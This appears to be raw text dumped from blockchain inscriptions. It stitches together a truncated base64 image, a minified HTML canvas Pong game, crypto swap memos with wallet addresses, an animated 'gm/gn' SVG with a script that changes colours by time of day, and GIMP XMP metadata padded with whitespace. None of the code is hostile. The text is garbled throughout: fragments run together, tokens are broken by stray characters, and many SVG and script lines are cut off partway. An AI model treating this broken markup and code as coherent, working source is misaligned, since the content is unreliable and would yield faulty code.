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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-gM
rid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=mM
axPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout((M
)=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}doM
cument.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
Aj?=:BNB.BNB:bnb1epn7fegrlvw7h49kmnws9lcj3ujwauy74pnm5y:6565205::0
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 005 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#605FD3')
      document.querySelector('.m2').setAttribute('fill', '#8888DE')
      document.querySelector('.m3').setAttribute('fill', '#8888DE')
      document.querySelector('.m4').setAttribute('fill', '#C38C64')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #605FD3;}
    .m0GN stop:nth-child(2) {stop-color: #1A2247;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.119 5c-2.667 0-4.7-.75-6.1-2.25-1.4-1.533-2.1-3.717-2.1-6.55v-2.75h5.2v3.15c0 2.267.95 3.4 2.85 3.4 1.9 0 2.85-1.133 2.85-3.4v-7.85c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v.3h-5.2l1-19.55h14.5v5h-9.6l-.45 8.35h.1c1.033-1.7 2.617-2.55 4.75-2.55 2 0 3.516.683 4.55 2.05 1.033 1.367 1.55 3.35 1.55 5.95v7.9c0 2.833-.7 5.017-2.1 6.55-1.4 1.5-3.433 2.25-6.1 2.25Zm24.17-35.5h4.749l-13.8 35h-4.75l13.8-35Z" class="005/"/>
    <path fill="#000" d="M1M
10.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0M
 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.M
76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.1M
25 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-M
.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-M
1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.M
33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125M
 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285M
.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.1M
9-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=M
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.453" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.43M
3-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-M
.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.M
366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="moon" opacity=".01">
<circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.M
006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <path fill="#E9BD9E" d="M509 293c-51-23-87 17.5-141.133 57.454C315.5 397.5 194.001 414.8 202.001 452c10 46.5 276.866 70.454 369.366 34.954 92.5-35.5 88-112.5 66.5-109S560 316 509 293Z" class="m2"/>
        <path fill="#FFD3B4" d="M104.867 305.954c-35.877-42.928-89 25.5-121 62.5-25.667 24.834-75 83.8-67 121 10 46.5 215.553 124.27 297.133 68.046 37-25.5 20.633-77.954 0-91.5-18.21-11.955-76.5-121-109.133-160.046Z" class="m3"/>
   <path fill="#C48C64" d="M182.867 345.691c-35.877-42.928-89 25.5-121 62.5-25.667 24.833-75 83.8-67 121 10 46.5 215.553 124.27 297.133 68.045 37-25.5 20.633-77.954 0-91.5-18.21-11.954-76.5-121-109.133-160.045Z" class="m4"/>
        <path fill="#B07557" d="M485.5 323c26.8-10.4 69.167 30.333 87 52 10.501 41-68 181.5-89 201.5S234.001 585 191.001 571c-34.4-11.2-39.667-35.333-38-46 61.833-15.167 186.7-47 191.5-53 6-7.5-79.001-16-98.001-19s-28-21-26.5-51.5 77.5-20 139-18.5 93-47 126.5-60Z" class="m1"/>
l="url(#f)" d="M184 295c-44.4-12-110.667 55.167-121 88.5 0 51.834 10.9 133.2 94.5 144C262 541 378.624 514.017 416.5 465c17-22-139.5-12.5-179-43.5-31.6-24.8 92.5-35.666 131-38-81 0-129-73.5-184.5-88.5Z" class="m0"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701"M
 y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="240.393" x2="240.393" y1="293.582" y2="530.967" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#E0AE89"/>
      <stop offset="1" stop-color="#D89768"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
     <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
Aj?=:ETH.ETH:0xfeB9C8B244B1afFB3A23Aa9d179E5D4a092c5070:9202002::0
Aj?=:ETH.ETH:0x799E083d0204B4952Ac81E099Cc8799e8717fe97:15051:te:0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt=M
"http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:226c9db6-db9f-4713-97b3-99b00b6b258e" xmpMM:InstanceID="xmp.iid:df664abb-7d0a-4f2a-9e0a-2cd7f975d6a2" xmpMM:OriginalDocumentID="xmp.did:fbb64c7d-0fdf-4302-bdc1-c216e88d5fba" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412647736148"M
 GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:10:46+11:00" xmp:ModifyDate="2023:02:15T09:10:46+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:71124aae-d13f-4352-809c-4eff6ac126fe" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:10:47"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpM
meta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:a95d7191-e113-438d-ad92-7d21ff4e0fcb" xmpMM:InstanceIM
D="xmp.iid:a1c7620c-76c8-4069-9f02-40e2ef79927b" xmpMM:OriginalDocumentID="xmp.did:a27480e8-94d6-4825-86a3-ae978bf0f92e" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412664687506" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:11:03+11:00" xmp:ModifyDate="2023:02:15T09:11:03+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:bae07c1d-dcc6-4b18-8298-f4d85e97f24e" stEvtM
:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:11:04"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                               <?xpacket end="w"?>h!
